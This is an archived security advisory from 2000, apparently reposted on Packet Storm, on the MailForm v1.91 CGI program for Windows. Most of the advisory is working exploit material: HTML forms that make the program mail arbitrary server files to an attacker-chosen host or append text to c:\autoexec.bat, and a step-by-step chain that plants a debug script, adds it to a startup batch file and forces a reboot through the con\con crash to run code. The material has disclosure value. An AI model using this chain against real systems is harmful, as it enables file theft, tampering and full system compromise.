exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mailform.txt

mailform.txt
Posted Apr 7, 2000
Authored by Chopsui-cide | Site midgets.box.sk

MailForm v1.91 for Windows 95 and NT 4.0 allows potentially dangerous parameters to be specified by anyone who can execute it. The web interface allows remote users to execute arbitrary commands. Exploit code included.

tags | exploit, remote, web, arbitrary
systems | windows
SHA-256 | ec1657d7a461dfc355e9839059244543b53c114292ec4f73a2596f3a0c87c20c

mailform.txt

Change Mirror Download
Advisory: MailForm v1.91 for Windows 95 and NT 4.0
Chopsui-cide[MmM]
The Mad Midget Mafia - http://midgets.box.sk/
=======================================================================
Do not save this with any editor, or _vital_ formatting may be lost.

Disclaimer:
=============
This document is intended as an advisory, and I cannot be held
accountable for its misuse. The reader assumes all responsibility for
his/her use of this information.

Summary:
==========
Date released: 07/04/2000 (dd/mm/yyyy).
Risk: denial of service, reading of private files, appending to
private files, full system compromise if the afforementioned risks
are leveraged properly.
Vulnerability found by: Chopsui-cide
Vulnerable: MailForm v1.91, probably prior versions (not tested).
Immune: ?

MailForm allows potentially dangerous parameters to be specified by
anyone who can execute it. These allow for reading and writing of
files on the system on which MailForm resides.

Details:
==========
Problem fields:
_1_TextLog -
_1_HTMLLog - these two are the ones used to write to files.
_1_MailTemplate - this is what is used to retrieve files.
_1_INIFile - possibly dangerous, but not discussed here.
_1_MailServer - we can just change this to our own address.
_1_MailTo - we don't even need to bother with this.

It's fairly obvious where the problem lies here. We can specify any
file to send + the POP server to send it to. The con\con bug may also
be used to bring down the entire system. Template files will be cut
off at the first null character, so retrieving of binaries is not
practical. Trying to retrieve certain files will cause MailForm to
crash.

A very crude example of how to run code on the remote system is
provided in the last section of this advisory.

Implementation: web interface
===============================
I have constructed some html that allows an attacker to download and
append to files on any remote system running MailForm (cut where it
says [snip], obviously):

[snip]
<html>
<title>Web interface for MailForm vulnerabilities.</title>
</head>
Do not be alarmed by any "Form submission failed" errors. These are
normal. You will need to modify the form tags in this page to
correspond to the host being attacked.<br>
<br>
Download file:<br>
<body bgcolor="#FFFFFF">

<form method="POST" action="http://localhost/cgi-bin/mailform.exe">
<input type="text" name="_1_MailServer" value="yourhost"><br>
<input type="text" name="_1_MailTemplate" value="..\xitami.aut"><br>
<input type="hidden" size="30" name="_1_MailTo" value="me@isp.com">
<input type="hidden" size="40" name="Name" value="me">
<input type="submit" value="Send" name="_2_Submit">
</form>
<br>
Append to file:<br>
Note: your text will be preceeded by garbage.<br>
<body bgcolor="#FFFFFF">
<form method="POST" action="http://localhost/cgi-bin/mailform.exe">
<input type="hidden" name="_1_MailServer" value="x">
<input type="hidden" name="_1_MailTemplate" value="nul">
<input type="text" name="_1_TextLog" size="40" value="c:\autoexec.bat"><br>
<input type="hidden" size="30" name="_1_MailTo" value="me@isp.com">
<textarea name="Name" rows="4" cols="40"></textarea>
<br><input type="submit" value="Send" name="_2_Submit">
</form>
<a href="http://midgets.box.sk">The Mad Midget Mafia</a><br>
</body>
</html>
[snip]

The e-mail will be sent to the host you specify on port 25. It should
be easy enough to capture using netcat.

Implementation: full compromise
=================================
When appending text to files, the following kind of ugly crap
preceeds it:
[snip]
Submitted at Thu Apr 06 22:14:49 2000 from 192.168.1.1

Name:
[snip]
Even with this handicap, we can still modify/create batch files.
This is how we will execute code.

The idea here is to create a kind of "script" for debug that will
assemble and execute a small program. It is basically just a list of
keystrokes. We then add an entry to autoexec.bat that executes it.
Fist we need to upload the following file to c:\windows\script.txt
[snip]

a 100
mov dx,10b
mov ah,09
int 21
mov ah,4c
int 21
db "Code has been executed.",0d,0a,"$"

g=100
q
[snip]

Make sure at the end of each line there is _no_ carriage return. Each
line should be terminated by \x0a (linefeed). Get rid of the carriage
returns (\x0d), ie:
a 100
mov dx,10b
mov ah,09
int 21
mov ah,4c
int 21
db "Code has been executed.",0d,0a,"$"

g=100
q


Add a newline (\x0d,\x0a) before the above, and submit the two lines
using the web-based interface.

Add the following line to any batch file that is executed upon start-up
(ie, autoexec.bat):
debug < c:\windows\script.txt

Check that everything is in order by trying to download both script.txt
and the batch file you modified.

Force a reboot using the con\con vulnerability. Once it restarts, the
code will be executed. I know this is a really ugly hack, but it works
(poor excuse). Also, make sure the garbage doesn't interfere with
anything (always put a newline before the start of your commands).

=======================================================================

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close